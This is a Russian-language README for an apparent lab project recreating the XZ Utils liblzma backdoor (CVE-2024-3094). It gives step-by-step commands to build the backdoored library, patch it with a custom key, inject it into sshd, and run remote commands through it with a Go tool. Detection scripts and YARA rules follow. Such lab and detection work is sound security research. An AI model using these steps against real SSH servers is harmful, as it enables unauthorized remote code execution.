
Уязвимость бэкдора в XZ, подробно объясненная
Этот проект анализирует громкий бэкдор, обнаруженный в xz-utils (liblzma), затрагивающий версии 5.6.0 и 5.6.1. Вредоносный код, внедрённый в систему сборки upstream, нацеливался на аутентификацию SSH, изменяя то, как sshd взаимодействует с библиотекой сжатия LZMA во время выполнения.
⚠️ Этот проект предназначен только для образовательных и защитных исследований.
Клонируйте этот репозиторий
git clone https://github.com/valeriot30/cve-2024-3094
Перейдите в директорию
cd cve-2024-3094
Запустите Docker-контейнер
docker build -t fedora-dev .
docker run --privileged -it --rm -p 2222:22 fedora-dev
Получите вредоносную версию библиотеки
cd ~
git clone https://github.com/thesamesam/xz-archive.git
cd xz-archive/5.6/ # Уязвимая версия (также работает с 5.6.1)
tar xzf xz-5.6.0.tar.gz
mv xz-5.6.0 ~
Экспортируйте цель сборки
export RPM_ARCH=$(uname -m)
Скомпилируйте вредоносную библиотеку
cd ~
cd ./xz-5.6.0/
./configure
make -j 8
Скопируйте вредоносный SO-файл наружу:
cp ./src/liblzma/.libs/liblzma.so.5.6.0 ~
Снова клонируйте репозиторий внутри контейнера
git clone https://github.com/valeriot30/cve-2024-3094
Пропатчите библиотеку liblzma пользовательским ключом
python3 cve-2024-3094/patch.py liblzma.so.5.6.0
Подключите вредоносную библиотеку в системе
sh cve-2024-3094/inject.sh
Запустите sshd, связанный с вредоносной библиотекой
env -i LANG=C /usr/sbin/sshd -D &
Клонируйте этот репозиторий
git clone https://github.com/valeriot30/cve-2024-3094
Перейдите в директорию
cd cve-2024-3094
Скомпилируйте GO-инструмент
go build
Используйте инструмент, указав IP-адрес уязвимой машины и команду для выполнения
./bot -addr 127.0.0.2:2222 -cmd 'sleep 60'
Запустите детектор
sh detector.sh
Используйте правила Yara
yara rule.yar ../liblzma.so.5.6.0 -s